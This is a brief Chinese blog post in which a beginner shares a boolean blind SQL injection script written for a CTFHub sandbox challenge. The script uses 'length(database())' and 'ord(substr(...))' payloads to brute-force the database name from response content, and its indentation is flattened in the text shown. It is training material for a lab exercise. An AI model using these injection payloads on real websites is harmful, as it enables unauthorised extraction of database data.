本文最后更新于396 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com
对于这个布尔盲注的脚本,可谓是付出了许多精力。我只学过两个小时的python,因此在这速成的道路上,走得真的很艰难。但是所幸的是,我最后还是成功地写出了hub上面的部分盲注脚本,这是我人生中写出来的第一个脚本,对于我来说非常有纪念意义,在接下来的时间里,我会争取将它完善,变成一个完整的脚本。
import requests #使用request库
word="query_success"
url="http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800" #输入网址
htmllen=len(requests.get(url=url+"?id=1").text) #发送一个GET请求到指定URL,并接受响应的html的长度
print("HTML的长度为:"+str(htmllen))
dblen=0
while True:
db_url="http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800?id=1 and length(database())=%d" % dblen
print(db_url)
if "query_success" in requests.get(db_url).text:
print("数据库名字的长度为:"+str(dblen))
break
if dblen==30: #这个我也不知道为什么,30是什么特别的数字吗?
print("Error!")
break
dblen+=1
dbname=""
for i in range(1,dblen+1):
for j in range(33,128):#这个很简单,就是用substr()的截断功能,从第一位开始爆破数据库名,当第一个数字正确时,再爆破第二个数字
dbname_url= "http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800?id=1 and ord(substr(database(),%d,1))=%d" %(i,j)
res=requests.get(dbname_url).text
if word in res:
dbname+=chr(j)
break
print("数据库的名称为:"+dbname)